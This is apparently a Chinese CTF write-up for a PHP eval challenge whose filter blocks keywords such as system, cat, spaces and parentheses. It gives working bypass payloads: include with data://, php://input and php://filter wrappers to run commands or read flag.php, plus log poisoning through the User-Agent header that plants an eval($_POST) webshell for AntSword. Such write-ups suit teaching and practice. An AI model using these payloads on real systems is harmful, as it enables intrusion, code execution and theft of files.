前置知识
协议相关博客:https://blog.csdn.net/m0_73353130/article/details/136212770
include
:include "filename"
这是最常用的方法,除此之外还可以 include url
,被包含的文件会被当做代码执行。
data://
: PHP 支持的一种数据流协议,用于将数据直接嵌入到代码中。相关博客:data://协议
data://text/plain
:要求按照文本格式将内容嵌入代码中,使用方法:data://text/plain,content
php://input
:读取原始的POST数据,只能读一次。详情看这里https://docs.pingcode.com/ask/45614.html
php://filter
:过滤器,以一定的规则处理要读写的文件。详情:https://blog.51cto.com/u_16248628/7588596
user-agent
:一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
信息收集
更多的过滤,我大概猜测一下每一个过滤的用意
flag:不能直接输入文件名
system:不许使用system函数
php:不许输入flag.php,不能使用<?php ?>
cat:不许执行系统指令cat
sort:系统命令,将文本内容排序后输出,类似cat
shell:不许使用shell_exec
.
:不许使用flag.php,不许使用字符拼接,php中可以用.
拼接字符串例如 $a="12"
$b="34"
$a.$b==="1234"
空格:系统命令中多需要空格,例如tac flag.php
'
:不允许自定义字符串
`(反引号):不允许使用shell命令。`ls` 效果等同于shell_exec('ls')
echo:不允许使用echo打印
;
:不允许使用;
在代码结尾,这使得函数执行更为困难了
(
:不允许使用函数
/i
:忽略大小写
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解题
如果需要使用空格,那么参看 ASCII码表, %09-%0D上只要有一个能够使用,那么就能绕过空格过滤,例如:tac%0aflag.php
,推荐使用最常用的%0a
不能使用函数了,因为括号被限制了。连 ` 也被限制了,系统命令也不行了
include是不需要括号的,所以我们可以考虑从include入手。
发现一个好玩的东西:这里为什么一定要加一个函数而不是直接类如?c=$_GET["1"]?>&1=xxx;
呢,原因是
例如c=$_GET[1]&1=echo 123;
,eval($_GET[c])
⇒ eval("$_GET[1]")
⇒ "echo 123;"
,第一次系统自动换算$_GET[c]
,第二次使用eval解析字符串 "$_GET[1]"
,得到结果echo 123;
方法1.1
方法1将以协议相关的方法进行尝试
下面语句的意思是
eval($_GET[c]);
⇒ eval("include$_GET[1]")
⇒ include$_GET[1]
⇒ include "data://text/plain,<?php system("tac flag.php") ?>"
⇒ <?php system("tac flag.php") ?>
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php") ?>
其中?>
利用了php的机制,当遇到?>
时会自动添加一个;
,也就是说<?php ehco 123 ?>
和<?php ehco 123; ?>
等效。我们利用这个机制绕过;
的过滤。
使用$_GET[1]
中转一次是因为太多东西被过滤了,非常不方便
方法1.2
下面语句的意思是
eval($_GET[c]);
⇒ eval("include$_GET[1]")
⇒ include$_GET[1]
⇒ include php://input
?c=include$_GET[1]?>&1=php://input
post:
<?php system('ls')?>
在使用google的hackbar时需要注意,使用raw模式,basic模式下后台无法获取到不带=
的post数据。
原因:https://github.com/0140454/hackbar/issues/56
方法1.3
这一类方法的主要目的是读取文件,并让<?php标签失效,以文本显示代码
将flag.php以base64加密的方法读取,这会将一串base64显示到页面上,拿去解密即可获取flag
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
类似的,把ascii编码变成utf-16编码
?c=include$_GET[1]?>&1=php://filter/read=convert.iconv.ascii.utf-16/resource=flag.php
方法2
user-agent
之前都是使用过滤器,那么不用过滤器行不行,当然行啊,不行我肯定不写出来了。
我们包含/var/log/nginx/access.log
你问为什么我知道是这个目录
apache日志存放路径:/var/log/apache/access.log
Ngnix日志存放路径:/var/log/nginx/access.log
和 /var/log/nginx/error.log
没有放这里或者没开启日志,那就用不了
有没有发现这个玩意很熟悉,这不就是user-agent
吗
利用原理:每次都会将user-agent
写入日志里,如果传入的日志里有恶意代码,也会被写道日志里,但代码此时并不会被运行。由于我们使用了include
包含日志文件,日志文件中的<?php ... ?>
标签中的代码会被当做代码执行,而其他文本当做普通文本显示。
写一句话木马
<?php eval($_POST[2]) ?>
然后拿蚁剑连接它,之前想要直接用system(“tac flag.php”)的,没反应,只能蚁剑连,原因不详。
蚁剑使用参看[ctfshow web入门] web31
蚁剑连接,接不上url写成http没有s,一句话木马写$_REQUEST
或者$_POST
,不要用$_GET
url/?c=include$_GET[1]?>&1=/var/log/nginx/access.log
密码:2 因为$_POST[2]
web31 目录 web33